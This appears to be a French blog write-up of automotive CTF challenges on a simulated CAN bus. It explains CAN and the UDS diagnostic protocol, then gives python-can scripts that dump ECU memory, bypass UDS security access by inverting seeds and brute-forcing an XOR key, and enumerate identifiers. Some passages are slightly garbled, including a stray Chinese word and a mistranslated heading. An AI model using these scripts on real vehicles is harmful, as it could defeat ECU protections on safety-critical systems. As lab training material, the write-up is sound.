Défis CTF en Réseau Embarqué Automobile : Protocole UDS et Bus CAN

Bus CAN : Architecture et Fonctionnement

Topologie

Le bus CAN (Controller Area Network) repose sur une topologie linéaire où tous les nœuds se raccordent à un même support physique de communication. Cette approche présente plusieurs atouts :

  • Économie de câblage : une seule ligne partagée relie l'ensemble des équipements.
  • Scalabilité : l'ajout d'un nouveau nœud se résume à une connexion sur le bus.
  • Isolation des pannes : la défaillance d'un nœud n'interrompt pas les échanges entre les autres.
  • Simplicité de déploiement : mise en œuvre et maintenance aisées.

En contrepartie, une rupture du bus constitue un point de défaillance unique, et des collisions peuvent survenir lorsque plusieurs émetteurs transmettent simultanément.

Modes d'adressage

Le CAN distingue deux modes : l'adressage point-à-point (message ciblant un ECU précis) et l'adressage diffusé (message destiné à tous les nœuds du réseau).

Structure d'une trame CAN

Une trame de données CAN se compose de plusieurs champs successifs :

  • SOF (Start Of Frame) : bit dominant (0) marquant le début de la trame.
  • Arbitration Field : détermine la priorité du message via l'identifiant.
  • Control Field : contient le DLC (Data Length Code) indiquant le nombre d'octets utiles.
  • Data Field : charge utile, jusqu'à 8 octets en CAN classique.
  • CRC Feild : somme de contrôle sur 15 bits plus un délimiteur, calculée depuis SOF jusqu'aux données.
  • ACK Field : acquittement émis par les récepteurs ayant validé le CRC.
  • EOF (End Of Frame) : séquence de fin.

Le bit RTR distingue les trames de données (0) des trames远程 (1). Le bit IDE différencie les identifiants standard (11 bits) et étendus (29 bits).

ECU : Unité de Contrôle Électronique

Un ECU est un micro-ordinateur embarqué intégrant un processeur, de la mémoire (ROM/RAM), des convertisseurs analogique-numériques et des interfaces d'entrées/sorties. Un véhicule moderne peut en comporter plus d'une centaine, chacun dédié à une fonction : gestion moteur, airbags, infodivertissement, freinage, etc.

L'ECU moteur, reconnaissable à son boîtier rectangulaire entouré de connecteurs, collecte les données des capteurs (position de papillon, régime, température), exécute ses cartes de calibration, et commande les actionneurs en conséquence. Ses prérogatives s'étendent également à la sécurité : coupure d'injection en cas de sur-régime ou de vitesse excessive.

Protocole UDS (Unified Diagnostic Services)

Principes

UDS, défini par la norme ISO 14229, standardise les communications de diagnostic entre un outil de test et les ECU. Il s'appuie sur la couche transport CAN (ISO 15765), LIN ou K-Line. Le diagnostic s'effectue via le connecteur OBD-II du véhicule, permettant la lecture de codes d'erreur (DTC), la reprogrammation et le calibrage de capteurs.

Format des trames UDS sur CAN

Les identifiants CAN typiques en diagnostic sont :

  • 0x7DF : requête diffusée vers tous les ECU.
  • 0x7E00x7E7 : requêtes adressées à un ECU spécifique.
  • 0x7E80x7EF : réponses correspondantes (ID requête + 0x08).

Le champ de données CAN transporte une structure PCI (Protocol Control Information) suivie des données de service :

Requête PCI (longueur) SID Sous-fonction
Exemple 0x02 0x11 0x01

Réponse positive : le SID est incrémenté de 0x40. Réponse négative : 0x7F + SID + NRC (Negative Response Code).

Gestion des trames multiples

Lorsque la charge utile dépasse 7 octets, le protocole ISO 15765-2 fragmente la communication :

  • Single Frame (SF) : PCI = 0x0N où N est la longueur. Utilisée pour ≤ 7 octets.
  • First Frame (FF) : PCI = 0x1N + octet suivant pour la longueur totale (≤ 4095).
  • Flow Control (FC) : PCI = 0x3X (FS), Block Size (BS), STmin. FS=0 : continuer, FS=1 : attendre, FS=2 : débordement.
  • Consecutive Frame (CF) : PCI = 0x2N où N est le numéro de séquence (1 à F, en boucle).

Services de diagnostic essentiels

Service 0x10 — Diagnostic Session Control

Permet de basculer entre différents niveaux de privilèges :

  • 0x01 : session par défaut (diagnostic de base).
  • 0x02 : session de programmation (flash firmware).
  • 0x03 : session étendue (diagnostic avancé, accès sécurité).

Service 0x22 — Read Data By Identifier

Lit des données identifiées par un DID (Data Identifier). Par exemple, 0xF190 correspond au numéro VIN.

Service 0x11 — ECU Reset

Provoque la réinitialisation de l'ECU. Sous-fonctions : 0x01 hard reset, 0x02 key off/on, 0x03 soft reset.

Service 0x19 — Read DTC Information

Récupère les codes de défaut stockés. Le sous-fonction 0x02 filtre via un masque d'état :

Bit Valeur Signification
4 0x10 Défaut actif
3 0x08 Défaut confirmé
2 0x04 MIL allumé
0 0x01 Défaut historique

Le format d'un DTC standard : premier octet encode le domaine (P=Powertrain, C=Chassis, B=Body, U=Network) et le chiffre de gravité.

Service 0x23 — Read Memory By Address

Lit directement une zone mémoire de l'ECU. Format : 0x23 0x14 [adresse 4 octets] [longueur].

Service 0x27 — Security Access

Mécanisme défi-réponse en deux temps : requête de graine (0x27 0x01), puis envoi de clé (0x27 0x02). Les sous-fonctions impaires demandent une graine, les paires fournissent la clé. L'algorithme de dérivation est défini par le constructeur.

Service 0x31 — Routine Control

Exécute des procédures internes à l'ECU. Sous-fonctions : 0x01 démarrer, 0x02 arrêter, 0x03 récupérer le résultat. L'identifiant de routine est codé sur 2 octets.

Environnement de simulation et défis pratiques

Le simulateur Harborbay sur VSEC fournit un terminal Linux avec interface CAN virtuelle (vcan0). L'environnement ne permettant pas l'installation directe de paquets Python, il convient de créer un environnement virtuel :

python3 -m venv venv_diag
source venv_diag/bin/activate
pip install python-can

Identification de l'interface CAN

Commandes ifconfig ou ip link révèlent l'interface vcan0.

Capture du trafic CAN périodique

candump vcan0

Résultat : une trame d'ID 59E, DLC 2, données 9E 10, émise à environ 1 Hz.

Lecture du VIN via UDS

Le VIN étant codé sur 17 caractères, une réponse multi-trames est nécessaire :

cansend vcan0 7df#0322f190
cansend vcan0 7e0#3000000000000000

Décodage de la réponse : 10 14 62 F1 90 = First Frame, longueur 0x14, SID 0x62 (0x22+0x40), DID F190. Les trames consécutives 21 et 22 contiennent les caractères ASCII du VIN.

Message de démarrage via ECU Reset

cansend vcan0 7df#021101

L'ECU redémarre et émet sur 0x7DF : 07 67 30 47 72 65 33 6E → décodage ASCII des octets 3 à 7.

Lecture de DTC confirmé

Utilisation du service 0x19, sous-fonction 0x02, masque 0x08 (défaut confirmé) :

cansend vcan0 7DF#03190208

Réponse : 7E8#075902083E9F01AB. Les octets 3E9F forment le DTC (P3E9F), 01 est le compteur d'occurrences.

Exploration mémoire — Service 0x23

Script d'exploration de la zone mémoire 0xC3F80000 avec incrément de 0xFF :

import can
import binascii

canal = can.Bus(interface='socketcan', channel='vcan0')
resultat_global = ""

addr_courante = 0xC3F83000
while addr_courante < 0xC3F86600:
    a1 = (addr_courante >> 24) & 0xFF
    a2 = (addr_courante >> 16) & 0xFF
    a3 = (addr_courante >> 8) & 0xFF
    a4 = addr_courante & 0xFF

    payload = [0x07, 0x23, 0x14, a1, a2, a3, a4, 0xFF]
    requete = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=payload)
    canal.send(requete, timeout=0.2)

    reponse = canal.recv()
    if reponse is not None:
        hex_str = binascii.hexlify(reponse.data).decode('utf-8')
        resultat_global += hex_str[6:]

    # Trame de contrôle de flux
    fc = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                     data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
    canal.send(fc, timeout=0.2)

    for _ in range(36):
        msg_cf = canal.recv()
        if msg_cf is not None:
            donnee = binascii.hexlify(msg_cf.data).decode('utf-8')[2:]
            if donnee != "00000000000000":
                resultat_global += donnee

    addr_courante += 0xFF

print(resultat_global)
canal.shutdown()

L'analyse de la sortie hexadécimale révèle la chaîne 666c61677b6d656d2b723334647d qui décodée en ASCII donne le flag.

Casse-croûte de sécurité — Niveau 3

Le défi indique un seed de 0x1337. L'algorithme est une inversion bit à bit : ~0x1337 & 0xFFFF = 0xECC8.

Casse-croûte de sécurité — Niveau 1

Procédure : entrer en session étendue (0x10 0x03), demander une graine niveau 3 (0x27 0x03), dériver la clé par inversion bit à bit, puis accéder au niveau 1.

import can
import binascii

bus_diag = can.Bus(interface='socketcan', channel='vcan0')

# Session étendue
req_session = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                          data=[0x02, 0x10, 0x03, 0, 0, 0, 0, 0])
bus_diag.send(req_session, timeout=0.2)
bus_diag.recv()

# Graine niveau 3
req_seed3 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                        data=[0x02, 0x27, 0x03, 0, 0, 0, 0, 0])
bus_diag.send(req_seed3, timeout=0.2)
rsp = bus_diag.recv()
graine_hex = binascii.hexlify(rsp.data).decode('utf-8')[6:10]

cle_calculee = f"{~int(graine_hex, 16) & 0xFFFF:04X}"

# Envoi clé niveau 3
req_key3 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                       data=[0x04, 0x27, 0x04, int(cle_calculee[0:2], 16),
                             int(cle_calculee[2:4], 16), 0, 0, 0])
bus_diag.send(req_key3, timeout=0.2)
bus_diag.recv()

# Graine niveau 1
req_seed1 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                        data=[0x02, 0x27, 0x01, 0, 0, 0, 0, 0])
bus_diag.send(req_seed1, timeout=0.2)
rsp1 = bus_diag.recv()
graine1_hex = binascii.hexlify(rsp1.data).decode('utf-8')[6:10]

cle1 = f"{~int(graine1_hex, 16) & 0xFFFF:04X}"
req_key1 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                       data=[0x04, 0x27, 0x02, int(cle1[0:2], 16),
                             int(cle1[2:4], 16), 0, 0, 0])
bus_diag.send(req_key1, timeout=0.2)
bus_diag.recv()

bus_diag.shutdown()

Après déblocage, la lecture mémoire à 0x1A000 révèle des paires graine/clé dont le XOR constant est 0x5539AA17, suggérant un algorithme de dérivation par XOR avec cette valeur.

Énumération de DID — Service 0x22

import can
import binascii

bus_enum = can.Bus(interface='socketcan', channel='vcan0')

for did_h in range(0, 0xFF):
    for did_l in range(0, 0xFF):
        msg = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                          data=[0x03, 0x22, did_h, did_l, 0, 0, 0, 0])
        bus_enum.send(msg, timeout=0.2)
        rsp = bus_enum.recv()
        code = binascii.hexlify(rsp.data).decode('utf-8')
        if not code.startswith("037f"):
            print(f"DID valide: {did_h:02X}{did_l:02X} -> {code}")

bus_enum.shutdown()

Le DID 0x0008 retourne une réponse positive avec les données attendues.

Énumération de Routine — Service 0x31

import can
import binascii

bus_rc = can.Bus(interface='socketcan', channel='vcan0')

for rid_h in range(0, 0xFF):
    for rid_l in range(0, 0xFF):
        msg = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                          data=[0x04, 0x31, 0x01, rid_h, rid_l, 0, 0, 0])
        bus_rc.send(msg, timeout=0.2)
        rsp = bus_rc.recv()
        code = binascii.hexlify(rsp.data).decode('utf-8')
        if code != "037f3131":
            print(f"Routine {rid_h:02X}{rid_l:02X} -> {code}")

bus_rc.shutdown()

La routine 0x1337 répond positivement. Enchaîner démarrage (0x31 0x01 0x13 0x37) puis récupération du résultat (0x31 0x03 0x13 0x37) avec trame de contrôle de flux.

XOR mono-octet — Niveau 1 (espace utilisateur)

L'algorithme applique un XOR avec une clé d'un seul octet sur chaque octet de la graine. Par force brute :

import can
import binascii

bus_xor = can.Bus(interface='socketcan', channel='vcan0')

for cle_test in range(0, 0x100):
    req = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                      data=[0x02, 0x27, 0x01, 0, 0, 0, 0, 0])
    bus_xor.send(req, timeout=0.2)
    rsp = bus_xor.recv()
    chaine = binascii.hexlify(rsp.data).decode('utf-8')
    graine = chaine[6:14]

    o1 = int(graine[0:2], 16) ^ cle_test
    o2 = int(graine[2:4], 16) ^ cle_test
    o3 = int(graine[4:6], 16) ^ cle_test
    o4 = int(graine[6:8], 16) ^ cle_test

    verif = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
                        data=[0x06, 0x27, 0x02, o1, o2, o3, o4, 0])
    bus_xor.send(verif, timeout=0.2)
    rsp2 = bus_xor.recv()
    resultat = binascii.hexlify(rsp2.data).decode('utf-8')
    if resultat != "037f2735":
        print(f"Clé XOR: 0x{cle_test:02X}")

bus_xor.shutdown()

La clé 0x20 valide l'accès. Après déverrouillage, l'envoi d'une trame de contrôle de flux déclenche la réponse multi-trames contenant le flag.

Référence des commandes CAN sous Linux

Commande Rôle
ifconfig Afficher l'état des interfaces
ip link Gérer les interfaces réseau
candump vcan0 Capturer le trafic CAN en temps réel
candump -l vcan0 Journaliser dans un fichier horodaté
cansend vcan0 ID#données Émettre une trame CAN
cansend ... && cansend ... Enchaîner plusieurs émissions

Étiquettes: CAN bus UDS OBD2 ECU ISO 14229

Publié le 27 juin à 16h14